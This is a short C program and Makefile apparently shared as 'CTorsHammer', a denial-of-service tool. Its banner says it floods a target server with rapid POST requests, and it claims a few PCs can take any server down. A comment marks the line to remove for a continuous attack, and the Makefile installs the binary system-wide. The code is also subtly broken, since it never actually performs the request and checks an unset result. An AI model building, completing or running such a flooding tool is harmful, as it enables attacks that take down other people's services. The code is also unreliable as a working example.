ctorshammer0-5 C
just started this, pretty simple test.c: /** This has no Proxy Support ATM, use at your own risk. **/ #include <stdio.h> #include <curl/curl.h> int main(int argc, char ** argv) { CURL *curl; CURLcode res; int i = 0, j = 0; /* In windows, this will init the winsock stuff */ curl_global_init(CURL_GLOBAL_ALL); /* get a curl handle */ curl = curl_easy_init(); if(curl) { printf("/**\n\n\tCTorsHammer v1.0,\n\tRapid Post DoS Attack Written in C,\n\tShould take down any given server with\n\tone session of 5 PC's or so.\n\n\tExpect Us. **/\n\n"); while( i == 0 ) { curl_easy_setopt(curl, CURLOPT_URL, argv[1]); /* Now specify the POST data */ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "a=\x0&b=\x0&c=\x0&d=\x0"); if(j==10) i = 1; /** Remove this for DoS */ /* Check for errors */ if(res != CURLE_OK) { fprintf(stderr, "Could not Connect tor Host: %s\n", curl_easy_strerror(res)); i = 1; } j++; printf("Something\n"); } /* always cleanup */ curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; } Makefile: # # C-zed Tor's Hammer # For lulz # # Expect dumb shit to occur, # at all times oO # all: gcc -o cthammer test.c -lcurl; install: cp ./cthammer /usr/bin; clean: rm cthammer; uninstall: rm /usr/bin/cthammer